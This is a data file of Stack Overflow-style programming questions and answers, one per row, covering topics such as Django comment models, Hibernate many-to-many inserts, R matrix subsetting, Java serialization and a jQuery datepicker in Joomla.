26538148	1	How to extend the django-comments model <p>(Sorry for my bad english, i'm a shabby French)</p> <p>I try to extend the django comment framework to add a like/dislike system. After read <a href="https://docs.djangoproject.com/en/1.7/ref/contrib/comments/custom/#an-example-custom-comments-app" rel="nofollow">the documentation</a>, i have added this to my <strong>model.py</strong> :</p> <pre><code>from django.contrib.comments.models import Comment class Commentslikes(Comment): positif = models.IntegerField(default=0) negatif = models.IntegerField(default=0) </code></pre> <p>After launch the command <code>python manage.py syncdb</code>, django have created the <strong>commentslikes</strong> mysql table with 3 cols : <em>comment_ptr_id</em>, <em>positif</em>, <em>negatif</em> . It's ok.</p> <p>In my <strong>view.py</strong> file, i have override the comment post view with this : </p> <pre><code> def custom_comment_post(request, next=None, using=None): #Post the comment and get the response response = contrib_comments.post_comment(request, next, using) if type(response) == HttpResponseRedirect: redirect_path, comment_id = response.get('Location').split( '?c=' ) if comment_id: comment = Comment.objects.get( id=comment_id ) if comment: #For test, i try to add 20 positif likes, 10 dislikes and edit the comment with 'foo' comment.positif = 20 comment.negatif = 10 comment.comment = 'foo' comment.save() return HttpResponseRedirect( redirect_path + "#c" + comment_id) return response </code></pre> <p>Then I posted a test comment. Comment has been modified with 'foo' but no rows have been added in the <strong>commentslikes</strong> table with the id of comment, positif at 20 and negatif at 10. Not row for the comment has added in <strong>commentslikes</strong></p> <p>I have forgotten or done something ?</p> <p>Thanks, Thomas</p>
5079540	0	VB.Net - Cannot create field "password" in Access <pre><code>'Create field in table Public Sub createField(ByVal tableName As String, ByVal fieldName As String, ByVal fieldType As String) If Not isConnected() Then XGUI.consolePrint("XAccessDatabase.createField() Warning - Database not connected. Create field canceled") Exit Function End If Dim myOleDbCommand As OleDbCommand myOleDbCommand = New OleDbCommand("ALTER TABLE " &amp; tableName &amp; " ADD COLUMN " &amp; fieldName &amp; " " &amp; fieldType, connection) myOleDbCommand.ExecuteNonQuery() End Function createField("users", "password", "TEXT(60)") 'Password </code></pre> <p>I get: Syntax error in field definition, when I try to create "password" field. In all other cases (other field names) it works fine.</p> <p>When trying to create it manually with MS-Access, I have no problem either. What is going on???</p>
5255570	0	Help Needed!! Compiling C++ program - errors <p>This is a routine that I believe is for C. I copied it (legally) out a book and am trying to get it to compile and run in visual studio 2008. I would like to keep it as a C++ program. Lots of programming experience in IBM mainframe assembler but none in C++. Your help is greatly appreciated. I think just a couple of simple changes but I have read tutorials and beat on this for hours - getting nowhere. Getting a lot (4) of error C2440 '=' : cannot convert form 'void*' to to 'int*' errors in statements past the reedsolomon function: Thanks so much! Program follows:</p> <pre><code>#include &lt;iostream&gt; using namespace std; int wd[50] = {131,153,175,231,5,184,89,239,149,29,181,153,175,191,153,175,191,159,231,3,127,44,12,164,59,209,104,254,150,45}; int nd = 30, nc=20, i, j, k, *log, *alog, *c, gf=256, pp=301; /* The following is routine which calculates the error correction codewords for a given data codeword string of length "nd", stored as an integer array wd[]. The function ReedSolomon()first generates log and antilog tables for the Galois Field of size "gf" (in the case of ECC 200, 28) with prime modulus "pp" (in the case of ECC 200, 301), then uses them in the function prod(), first to calculate coefficients of the generator polynomial of order "nc" and then to calculate "nc" additional check codewords which are appended to the data in wd[].*/ /* "prod(x,y,log,alog,gf)" returns the product "x" times "y" */ int prod(int x, int y, int *log, int *alog, int gf) {if (!x || !y) return 0; else return alog[(log[x] + log[y]) % (gf-1)]; } /* "ReedSolomon(wd,nd,nc,gf.pp)" takes "nd" data codeword values in wd[] */ /* and adds on "nc" check codewords, all within GF(gf) where "gf" is a */ /* power of 2 and "pp" is the value of its prime modulus polynomial */ void ReedSolomon(int *wd, int nd, int nc, int gf, int pp) {int i, j, k, *log,*alog,*c; /* allocate, then generate the log &amp; antilog arrays: */ log = malloc(sizeof(int) * gf); alog = malloc(sizeof(int) * gf); log[0] = 1-gf; alog[0] = 1; for (i = 1; i &lt; gf; i++) {alog[i] = alog[i-1] * 2; if (alog[i] &gt;= gf) alog[i] ^= pp; log[alog[i]] = i; } /* allocate, then generate the generator polynomial coefficients: */ c = malloc(sizeof(int) * (nc+1)); for (i=1; i&lt;=nc; i++) c[i] = 0; c[0] = 1; for (i=1; i&lt;=nc; i++) {c[i] = c[i-1]; for (j=i-1; j&gt;=1; j--) {c[j] = c[j-1] ^ prod(c[j],alog[i],log,alog,gf); } c[0] = prod(c[0],alog[i],log,alog,gf); } /* clear, then generate "nc" checkwords in the array wd[] : */ for (i=nd; i&lt;=(nd+nc); i++) wd[i] = 0; for (i=0; i&lt;nd; i++) {k = wd[nd] ^ wd[i] ; for (j=0; j&lt;nc; j++) {wd[nd+j] = wd[nd+j+1] ^ prod(k,c[nc-j-1],log, alog,gf); } } free(c); free(alog); free(log); return (); } int main () {reedsolomon (50,30,20,256,301); for (i = 1; i &lt; 51; i++) {cout&lt;&lt; i; "="; wd[i];} cout&lt;&lt;"HEY, you, I'm alive! Oh, and Hello World!\n"; cin.get(); return 1; } </code></pre>
39298707	0	 <p>I have written a code according to my logic. It gives correct output for all the possible inputs came in my mind so have a look at it.</p> <pre><code>import java.util.Scanner; class Combination { public static void main(String args[]) { Scanner sc =new Scanner(System.in); System.out.println("Enter total number of fruit1:"); int fruit_1=sc.nextInt(); System.out.println("Enter total number of fruit2:"); int fruit_2=sc.nextInt(); System.out.println("Enter total number of fruits you want in combination:"); int total=sc.nextInt(); int max=0; int min=0; if(fruit_1&gt;fruit_2) { max=fruit_1; min=fruit_2; } else { max=fruit_2; min=fruit_1; } int ans=0; if(max&gt;total &amp;&amp; min&gt;total) ans=total+1; else if(max&gt;total &amp;&amp; min&lt;total) ans=min+1; else ans=fruit_1+fruit_2-total+1; if(ans&lt;0) //if A+B&lt;N but u didn't consider in the question System.out.println("Possible Combinations:0"); else System.out.println("Possible Combinations:"+ans); } } </code></pre> <p><strong>EDIT</strong>: Actually I tried to make algorithm and I have made an easier algorithm which will give <code>O(1)</code> Complexity.</p> <pre><code>Take Input A,B from user. Take Input N. Min=Minimum(A,B) Max=Maximum(A,B) If Max&gt;N &amp;&amp; Min&gt;N OP=N+1; else If Max&gt;N &amp;&amp; Min&lt;N OP=Min+1; else //Max&lt;N &amp;&amp; Min&lt;N OR Any other cases OP=A+B+1-N; </code></pre>
33938511	0	 <blockquote> <p>I want my data starting with particular ID to be at a predefined node because I know data will be accessed from that node heavily.</p> </blockquote> <p>Looks like that you talk about data locality problem, which is really important in bigdata-like computations (Spark, Hadoop, etc.). But the general approach for that isn't to pin data to specific node, but just to move your whole computation to the data itself.</p> <p>Pinning data to specific node may cause problems like:</p> <ul> <li>what should you do if your node goes down?</li> <li>how evenly will the data be distributed among the cluster? Will be there any hotspots/bottlenecks because of node over(under)-utilization?</li> <li>how can you scale your cluster in future?</li> </ul> <p>Moving computation to data has no issues with these questions, but the approach you going to choose - has.</p>
15189447	0	jInterface to create External Erlang Term <p>How can I format the the following erlang term:</p> <pre><code>{ atom, "message" } </code></pre> <p>In jInterface to an external format that I may call in an erlang shell</p> <pre><code>erlang:binary_to_term( Binary ) </code></pre> <p>Example: Note that since the tuple will be sent over the net, I finish by converting to byte[].</p> <pre><code>OtpErlangObject[] msg = new OtpErlangObject[2]; msg[0] = new OtpErlangAtom( "atom" ); msg[1] = new OtpErlangString( "message" ); OtpErlangTuple reply = new OtpErlangTuple(msg); OtpOutputStream stream = new OtpOutputStream(reply); stream.toByteArray() // byte[] which I send over net </code></pre> <p>The binary received by Erlang is:</p> <pre><code>B = &lt;&lt;104,2,100,0,4,97,116,111,109,107,0,7,109,101,115,115,97,103,101&gt;&gt; </code></pre> <p>Then in an erlang shell converting the received term to binary gives a badarg.</p> <pre><code> binary_to_term( B ). ** exception error: bad argument in function binary_to_term/1 called as binary_to_term(&lt;&lt;104,2,107,0,4,97,116,111,109,107,0,7,109, 101,115,115,97,103,101&gt;&gt;) </code></pre>
10211644	0	 <p><code>NSURLConnection</code> will automatically use the system settings for the proxy. You don't have to do anything to enable that.</p>
15215355	0	Consistently subset matrix to a vector and avoid colnames? <p>I would like to know if there is R syntax to extract a column from a matrix and <em>always</em> have no name attribute on the returned vector (I wish to rely on this behaviour).</p> <p>My problem is the following inconsistency:</p> <ul> <li>when a matrix has more than one row and I do <code>myMatrix[, 1]</code> I will get the first column of <code>myMatrix</code> with no name attribute. This is what I want.</li> <li>when a matrix has <strong>exactly one row</strong> and I do <code>myMatrix[, 1]</code>, I will get the first column of <code>myMatrix</code> <strong>but it has the first colname as its name</strong>.</li> </ul> <p>I would like to be able to do <code>myMatrix[, 1]</code> and <em>consistently</em> get something with <strong>no name</strong>.</p> <p>An example to demonstrate this:</p> <pre><code># make a matrix with more than one row, x &lt;- matrix(1:2, nrow=2) colnames(x) &lt;- 'foo' # foo # [1,] 1 # [2,] 2 # extract first column. Note no 'foo' name is attached. x[, 1] # [1] 1 2 # now suppose x has just one row (and is a matrix) x &lt;- x[1, , drop=F] # extract first column x[, 1] # foo # &lt;-- we keep the name!! # 1 </code></pre> <p>Now, the documentation for <code>[</code> (<code>?'['</code>) mentions this behaviour, so it's not a bug or anything (although, why?! why this inconsistency?!):</p> <blockquote> <p>A vector obtained by matrix indexing will be unnamed <strong>unless ‘x’ is one-dimensional</strong> when the row names (if any) will be indexed to provide names for the result.</p> </blockquote> <p><strong>My question is</strong>, is there a way to do <code>x[, 1]</code> such that the result is <em>always</em> unnamed, where <code>x</code> is a matrix?</p> <p>Is my only hope <code>unname(x[, 1])</code> or is there something analogous to <code>[</code>'s <code>drop</code> argument? Or is there an option I can set to say "always unname"? Some trick I can use (somehow override <code>[</code>'s behaviour when the extracted result is a vector?)</p>
10186059	0	C++ Out of Subscript Range <p>I'm running a C++ Program that is supposed to convert string to hexadecimals. It compiles but errors out of me at runtime saying:</p> <blockquote> <p>Debug Assertion Failed! (Oh no!)</p> <p>Visual Studio2010\include\xstring</p> <p>Line 1440</p> <p>Expression: string subscript out of range</p> </blockquote> <p>And I have no choice to abort... It seems like it converts it though up to the point of error so I'm not sure what's going on. My code is simple:</p> <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;string&gt; using namespace std; int main() { string hello = "Hello World"; int i = 0; while(hello.length()) { cout &lt;&lt; setfill('0') &lt;&lt; setw(2) &lt;&lt; hex &lt;&lt; (unsigned int)hello[i]; i++; } return 0; } </code></pre> <p>What this program should do is convert each letter to hexadecimal - char by char. </p>
11360945	0	 <p>There are a number of ways to archive this. One easy way is to submit all data to the server, where the whole form gets rebuild. Doing this on javascript-side could be done with templating (I assume you use jquery).</p> <p>The serverside-solution (as the final submitting) requires, that your input-names are formed wisly.</p> <p>Example:</p> <pre><code>data[members][{$memberId}][name] </code></pre> <p>If you want to determine, if the form was submitted in its final form, or just to add a member, you can form the submit-buttons like this:</p> <pre><code>&lt;input type="submit" name="btn[submit]" value="submit booking" /&gt; &lt;input type="submit" name="btn[add]" value="submit booking" /&gt; </code></pre> <p>On php-side this could be determined by:</p> <pre><code>$btnType = isset($_REQUEST['btn']) &amp;&amp; is_array($_REQUEST['btn']) ? array_shift(array_keys($_REQUEST['btn'])) : 'submit'; </code></pre> <p>There are still improvements to apply!</p>
31565847	0	Multiplying one matrix with a set of scalars <p>I have an R script that systematically perform changes to a 3x3 matrix by scalar multiplication as follows</p> <pre><code>R &lt;- matrix(rexp(9, rate=.1), ncol=3); for (i in 1:360) { K = i*R; ... } </code></pre> <p>and use the modified matrix for further calculations within the loop. However, the loop itself is nested inside two other for loops, making the script very slow. So my question is, how can I vectorize this innermost loop such that the result instead is a three-dimensional array A of size 3x3x360 where</p> <pre><code>A[,,i] = i*R; </code></pre> <p>for all i ranging from 1 to 360?</p>
25223049	0	Hibernate: Refrain update on Many-to-Many insert <h2>Problem</h2> <p>I use hibernate to store data in an MySQL database. I now want to store a Company and one of its Branches.</p> <p>The company:</p> <pre><code>@Entity @Table(name="company") public class Company { @Id @GeneratedValue @Column(name="id") private int id; @Column(name="name") private String name; @ManyToMany(cascade = CascadeType.ALL) @JoinTable(name="company_branch_join", joinColumns={@JoinColumn(name="company_id")}, inverseJoinColumns={@JoinColumn(name="branch_id")}) private Set&lt;CompanyBranch&gt; branches; // Getters and setters... } </code></pre> <p>And the branch:</p> <pre><code>@Entity @Table(name="company_branch") public class CompanyBranch { @Id @GeneratedValue @Column(name="id") private int id; @Column(name="branch") private String branch; @ManyToMany(mappedBy="branches", cascade = CascadeType.ALL) private Set&lt;Company&gt; companies; // Getters and setters... } </code></pre> <h2>Question</h2> <p>The code works and i can insert the data in the join table. The problem is the override policy regarding the branches. My branch table in the database is already filled with branches and its IDs so i don't want to modify the data. However on an company-insert the branches associated with the company get stored again and override the data with the same ID in the database. How can I prevent this behavior?</p> <pre><code>CompanyBranch cb1 = new CompanyBranch(); cb1.setId(1); cb1.setBranch("Manufacturing"); CompanyBranch cb2 = new CompanyBranch(); cb2.setId(2); cb2.setBranch("DONT-INSERT"); Company c = new Company(); c.setName("[Random-Company-Name]"); c.addBranch(cb1); c.addBranch(cb2); CompanyManager cm = new CompanyManagerImpl(); cm.saveCompany(c); </code></pre> <p>The branch table before execution looks like this:</p> <pre><code>| id | branch | +----+----------------+ | 1 | Manufacturing | | 2 | IT | |... | ... | </code></pre> <p>The table should not change. But after execution it looks like this:</p> <pre><code>| id | branch | +----+----------------+ | 1 | Manufacturing | | 2 | DONT-INSERT | |... | ... | </code></pre>
35581815	0	Select rows from data frame which have at least three negative values? <p>How to filter rows which have atleast 3 negative values?</p> <pre><code>df1 &lt;- Name flex flex2 flex3 flex4 Set1 -1.19045139 -1.25005615 -1.053900875 -1.15142391 Set2 -2.22129212 1.54901305 0.003462145 1.06170243 Set3 -2.08952248 -1.95241584 -1.206060696 -1.65450460 Set4 -1.20091116 0.50700470 -0.098793884 1.50406054 Set5 -1.11771409 0.01175919 -3.056481406 -1.09328262 Set7 -9.01648659 0.07707638 0.198978232 1.18125182 </code></pre> <p>expected output</p> <pre><code>df2 &lt;- Name flex flex2 flex3 flex4 Set1 -1.19045139 -1.25005615 -1.053900875 -1.15142391 Set3 -2.08952248 -1.95241584 -1.206060696 -1.65450460 Set5 -1.11771409 0.01175919 -3.056481406 -1.09328262 </code></pre> <p>i tried the code given below, but it doesn't work</p> <pre><code>Index= as.vector(which(apply(df1,1,function(x){sum(x &lt; -1)/length(x)})&gt;=0.75)) df1[Index,] </code></pre>
23523665	1	Twisted: How to properly check that a request is finished <p>I'm creating an extremely simple Python script to serve one file to one person. However, I cannot seem to figure out how to fire a callback when the request is finished or broken. I was looking into <a href="https://twistedmatrix.com/documents/13.0.0/web/howto/web-in-60/interrupted.html" rel="nofollow">using deferreds</a> but I'm having a hard time wrapping my head around how they work.</p> <p>As far as I can tell my server runs everything synchronously, so I would expect this to be enough:</p> <pre><code>class FileResource(resource.Resource): isLeaf = True def __init__(self, filepath): self.filepath = filepath self.filename = os.path.basename(filepath) def render_GET(self, request): print '%s: request opened (%s)' % (get_time(), request.getClientIP()) request.setHeader('content-type', 'application/octet-stream') request.setHeader('content-disposition', 'attachment; filename="%s"' % self.filename) request.setHeader('content-length', os.path.getsize(self.filepath)) with open(self.filepath, 'rb') as f: request.write(f.read()) request.finish() print '%s: request closed (%s)' % (get_time(), request.getClientIP()) return server.NOT_DONE_YET </code></pre> <p>But the second print fires immediately. If anyone could point me in the right direct that would be appreciated.</p>
40849009	0	Not serializable class with strings only <p>I have a class called Libro which contains strings only:</p> <pre><code>public class Libro { private String titolo; private String autore; private String editore; private String sottotitolo; private String genere; private String dpubb; private String lpubb; private String soggetto; private String isbn; private String note; private String prezzo; private String npag; //getters, setters, constructors... } </code></pre> <p>Then I created an object called <code>a</code> belonging to the <code>Libro</code> class, and I tried to write it to a <code>coso.dat</code> file</p> <pre><code>try{ ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Workbench\\Documents\\NetBeansProjects\\coso.dat")); out.writeObject(a); out.close(); }catch(Exception e) {System.out.println("Damn");} </code></pre> <p>Then I opened the file with NotePad and it seems that I tried to serialize an unserializable class: </p> <pre><code>¬í {sr java.io.NotSerializableException(Vx ç†5 xr java.io.ObjectStreamExceptiondÃäk9ûß xr java.io.IOExceptionl€sde%ð« xr java.lang.ExceptionÐý&gt;;Ä xr java.lang.ThrowableÕÆ5'9w¸Ë L causet Ljava/lang/Throwable;L detailMessaget Ljava/lang/String;[ stackTracet [Ljava/lang/StackTraceElement;L suppressedExceptionst Ljava/util/List;xpq ~ t ginobook.classi.Librour [Ljava.lang.StackTraceElement;F*&lt;&lt;ý"9 xp )sr java.lang.StackTraceElementa Åš&amp;6Ý… I lineNumberL declaringClassq ~ L fileNameq ~ L methodNameq ~ xp t java.io.ObjectOutputStreamt ObjectOutputStream.javat writeObject0sq ~ \q ~ q ~ t writeObjectsq ~ ôt ginobook.forms.FormNuovot FormNuovo.javat btnCreaActionPerformedsq ~ q ~ q ~ t access$1500sq ~ Œt ginobook.forms.FormNuovo$15q ~ t actionPerformedsq ~ æt javax.swing.AbstractButtont AbstractButton.javat fireActionPerformedsq ~ ,t "javax.swing.AbstractButton$Handlerq ~ q ~ sq ~ ’t javax.swing.DefaultButtonModelt DefaultButtonModel.javaq ~ sq ~ q ~ $q ~ %t setPressedsq ~ üt *javax.swing.plaf.basic.BasicButtonListenert BasicButtonListener.javat mouseReleasedsq ~ …t java.awt.Componentt Component.javat processMouseEventsq ~ üt javax.swing.JComponentt JComponent.javaq ~ /sq ~ šq ~ -q ~ .t processEventsq ~ ¼t java.awt.Containert Container.javaq ~ 4sq ~ q ~ -q ~ .t dispatchEventImplsq ~ öq ~ 6q ~ 7q ~ 9sq ~ gq ~ -q ~ .t dispatchEventsq ~ t java.awt.LightweightDispatcherq ~ 7t retargetMouseEventsq ~ ­q ~ &gt;q ~ 7q ~ /sq ~ rq ~ &gt;q ~ 7q ~ &lt;sq ~ èq ~ 6q ~ 7q ~ 9sq ~ ºt java.awt.Windowt Window.javaq ~ 9sq ~ gq ~ -q ~ .q ~ &lt;sq ~ öt java.awt.EventQueuet EventQueue.javaq ~ 9sq ~ aq ~ Hq ~ It access$500sq ~ Åt java.awt.EventQueue$3q ~ It runsq ~ ¿q ~ Mq ~ Iq ~ Nsq ~ ÿÿÿþt java.security.AccessControllert AccessController.javat doPrivilegedsq ~ Lt 5java.security.ProtectionDomain$JavaSecurityAccessImplt ProtectionDomain.javat doIntersectionPrivilegesq ~ Vq ~ Uq ~ Vq ~ Wsq ~ Ût java.awt.EventQueue$4q ~ Iq ~ Nsq ~ Ùq ~ Zq ~ Iq ~ Nsq ~ ÿÿÿþq ~ Qq ~ Rq ~ Ssq ~ Lq ~ Uq ~ Vq ~ Wsq ~ Øq ~ Hq ~ Iq ~ &lt;sq ~ Ét java.awt.EventDispatchThreadt EventDispatchThread.javat pumpOneEventForFilterssq ~ tq ~ `q ~ at pumpEventsForFiltersq ~ iq ~ `q ~ at pumpEventsForHierarchysq ~ eq ~ `q ~ at pumpEventssq ~ ]q ~ `q ~ aq ~ hsq ~ Rq ~ `q ~ aq ~ Nsr &amp;java.util.Collections$UnmodifiableListü%1µìŽ L listq ~ xr ,java.util.Collections$UnmodifiableCollectionB €Ë^÷ L ct Ljava/util/Collection;xpsr java.util.ArrayListxÒ™Ça I sizexp w xq ~ px </code></pre> <p>What did I do wrong..? I'm sorry if the question may seem stupid, but I just couldn't find any answer to it</p>
25083700	0	JQuery DatePicker conflict in Joomla 3 website <p>Sorry, I'm not a programmer and really can't find how to handle this...</p> <p>On a Joomla 3.3.0 website (<a href="http://lantanaweb.com/savoy-sofia/sofia/" rel="nofollow">http://lantanaweb.com/savoy-sofia/sofia/</a>) I added a custom HTML code module (it means adding JS and scripts to Joomla modules) to show a datepicker in a booking form. But the date picker do not show up as it should.</p> <p>Moreover, after adding this module, the full page JQuery slideshow module stopped working.</p> <p>Then I installed the JQuery Easy Plugin to solve JQuery related conflicts, and the slideshow was actually fixed.</p> <p>But I can't still make the datepicker show as it is supposed to do. My joomla custom HTML module code is:</p> <pre><code>&lt;script type="text/javascript" src="js/jquery-1.6.2.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="js/jquery-ui-1.8.16.custom.min.js"&gt;&lt;/script&gt; &lt;link type="text/css" href="css/overcast/jquery-ui-1.8.16.custom.css" rel="stylesheet" /&gt; &lt;form action="https://reservations.verticalbooking.com/reservation_hotel.htm" method="post" name="myform" id="myform" target="_blank" style="margin:0px; padding:0px;" onsubmit="invia_form();_gaq.push(['_linkByPost', this]);" &gt; &lt;!-- ###################### --&gt; &lt;!-- PARAMETERS TO CUSTOMIZE --&gt; &lt;input name="gg" id="gg" value="" type="hidden"&gt; &lt;input name="mm" id="mm" value="" type="hidden"&gt; &lt;input name="aa" id="aa" value="" type="hidden"&gt; &lt;input name="id_albergo" value="312" type="hidden"&gt; &lt;input name="lingua_int" value="ita" type="hidden"&gt; &lt;input name="dc" value="710" type="hidden"&gt; &lt;input name="id_stile" value="9456" type="hidden"&gt; &lt;input name="headvar" value="ok" type="hidden"&gt; &lt;input name="graph_be" value="4" type="hidden"&gt; &lt;div id="arrival_date" class="blocco"&gt; &lt;div class="label"&gt;Data di Arrivo&lt;/div&gt; &lt;div class="tendina"&gt; &lt;input id="datepicker" type="text" value="" &gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="nights" class="blocco"&gt; &lt;div class="label"&gt;Notti&lt;/div&gt; &lt;div class="tendina"&gt; &lt;select class="select" name="notti_1" &gt; &lt;option value="1" selected&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="11"&gt;11&lt;/option&gt; &lt;option value="12"&gt;12&lt;/option&gt; &lt;option value="13"&gt;13&lt;/option&gt; &lt;option value="14"&gt;14&lt;/option&gt; &lt;option value="15"&gt;15&lt;/option&gt; &lt;option value="16"&gt;16&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="rooms" class="blocco"&gt; &lt;div class="label"&gt;Camere&lt;/div&gt; &lt;div class="tendina"&gt; &lt;select class="select" name="tot_camere"&gt; &lt;option value="1" selected&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="adults" class="blocco"&gt; &lt;div class="label"&gt;Adulti&lt;/div&gt; &lt;div class="tendina"&gt; &lt;select class="select" name="tot_adulti"&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2" selected="selected"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="children" class="blocco"&gt; &lt;div class="label"&gt;Bambini&lt;/div&gt; &lt;div class="tendina"&gt; &lt;select class="select" name="tot_bambini" &gt; &lt;option value="0" selected &gt;0&lt;/option&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="search" class="blocco"&gt; &lt;input id="button" type="submit" value="cerca" /&gt; &lt;/input&gt; &lt;/div&gt; &lt;div id="cancella"&gt;&lt;a href="https://reservations.verticalbooking.com/reservation_hotel.htm?id_albergo=312&amp;dc=710&amp;lingua_int=ita&amp;headvar=ok&amp;id_stile=9456&amp;graph_be=4&amp;cancel=pren"&gt;Annulla/Modifica Prenotazione&lt;/a&gt;&lt;/div&gt; &lt;/form&gt; &lt;script type="text/javascript"&gt; $(document).ready( function() { var now = new Date(); var today = now.getDate() + '/' + (now.getMonth() + 1) + '/' + now.getFullYear(); $('#datepicker').val(today); }); &lt;/script&gt; &lt;script type="text/javascript"&gt; $(function() { $( "#datepicker" ).datepicker({ minDate: "0", showOtherMonths: true, selectOtherMonths: true, altField: "#gg", altFormat: "dd" }); }); function invia_form() { var data = $( "#datepicker" ).attr('value'); //alert(data); data = data.split('/'); $('#gg').attr({value:data[0]}); $('#mm').attr({value:data[1]}); $('#aa').attr({value:data[2]}); //alert($('#gg').attr('value')+' - '+$('#mm').attr('value')+' - '+$('#aa').attr('value')); //$('#myform').submit(); } &lt;/script&gt; </code></pre> <p>Although I read a few posts related on the forum, I really don't know where to start from... Any help would be highly appreciated... Thanks!</p> <p>Edit 1: The error is: </p> <pre><code>$(...).datepicker is not a function related code (line 435) is: $( "#datepicker" ).datepicker({ minDate: "0", showOtherMonths: true, selectOtherMonths: true, altField: "#gg", altFormat: "dd" }); </code></pre>
10372132	0	 <p>You've said: <code>MainScreen2 *testJudith;</code> which sets testJudith to nil.</p> <p>You then created an array:</p> <pre><code>NSMutableArray *testJudithArray = [[NSMutableArray alloc]init]; </code></pre> <p>You then RESET testJudithArray to a mutable copy of testJudith's Judith array:</p> <pre><code>testJudithArray = [testJudith.Judith mutableCopy]; </code></pre> <p>But testJudith is nil. You haven't set it as anything. Which means the property of nil will always be/return nil. You then try to make a mutableCopy of nil. Thus, testJudithArray becomes nil.</p> <p>You have not created a testJudith to begin with, so you then never create the array you are asking to make a mutable copy of. The mutableCopy method thus returns nil (as any message sent to nil returns nil).</p> <p>Does this explain enough where your error is?</p>
15909718	0	 <pre><code>String a = x[0]; String b = x[1]; </code></pre> <p>or</p> <pre><code>for (String z : x) { String valor = z; } </code></pre> <p>I wait help you!</p>
21189182	0	 <p>you can use fprintf, which prints formatted text:</p> <pre><code>frintf("%x %x %d\n",_member[0],_member[0],_records); </code></pre> <p>Hope this helps</p>
1136062	0	 <p>The <code>Aggregate</code> function would come in handy here.</p> <pre><code>var sum = list.Aggregate((acc, cur) =&gt; acc + cur); var average = list.Aggregate((acc, cur) =&gt; acc + cur) / list.Count; </code></pre> <p>Just insure that you have the <code>/</code> operator defined for types <code>PointD</code> and <code>int</code>, and this should do the job.</p> <p>Note: I'm not quite sure whether you want the sum or average here (your question is somewhat ambiguous about this), but I've included examples for both.</p>
17917761	0	 <p>Set the field not only to <code>hidden</code> as also to <code>disabled</code>, that will solve this. Or as mentioned in the comment if you just use a custom validation return true.</p>
7009621	0	 <p>If you remove</p> <pre><code>length="3" </code></pre> <p>it should be trowing an exception</p>
4281650	0	Ajax request saving files with Rails <p>I'm fairly new to ruby on rails and I'm trying to implment a drag and drop file feature with dnduploader.js. I'm getting the file to post to the controller, but I'm unsure how to save the file in the controller to the local file system. Here is snippets of my code if anyone can help. Thank you.</p> <p>Here is the link I'm using to help me: <a href="http://onehub.com/blog/posts/designing-an-html5-drag-drop-file-uploader-using-sinatra-and-jquery-part-1/" rel="nofollow">http://onehub.com/blog/posts/designing-an-html5-drag-drop-file-uploader-using-sinatra-and-jquery-part-1/</a></p> <pre><code>$("#drop_target").dndUploader({ url : "/upload", method : "PUT" }); if (dataTransfer.files.length &gt; 0) { $.each(dataTransfer.files, function ( i, file ) { var xhr = new XMLHttpRequest(); var upload = xhr.upload; xhr.open($this.data('method') || 'POST', $this.data('url'), true); xhr.setRequestHeader('X-Filename', file.fileName); xhr.send(file); }); }; </code></pre> <p>This is where I don't know what to do? I see the upload request happening inside chrome, but I'm unsure how to get the file saved to the filesystem. </p> <pre><code>def upload render :text =&gt; "uploaded #{env['HTTP_X_FILENAME']} - #{request.body.read.size} bytes -- #{params[:upload].to_yaml}" end </code></pre>
5563858	0	 <p>I always liked evdns</p> <p><a href="http://linux.die.net/man/3/evdns" rel="nofollow">http://linux.die.net/man/3/evdns</a></p> <p>There appears to be a python binding called pyevent</p> <p><a href="http://code.google.com/p/pyevent/source/browse/trunk/evdns.pxi?r=44" rel="nofollow">http://code.google.com/p/pyevent/source/browse/trunk/evdns.pxi?r=44</a></p>
35730089	0	 <p>Since OS X 10.10, <code>NSStatusItem</code> has <code>button</code> property, which is a regular <code>NSView</code>-based control that conforms to <code>NSAccessibility</code> protocol and which allows to change <code>accessibilityTitle</code> property directly.</p> <p>On earlier versions of OS X, you can implement a custom button that looks and behaves exactly like vanilla <code>NSStatusItem</code> and assign it to the item via <code>-[NSStatusItem setView:]</code> method, then use <code>-[NSView accessibilitySetOverrideValue:... forAttribute:NSAccessibilityTitleAttribute]</code> on your custom control to provide a voiceover title.</p>
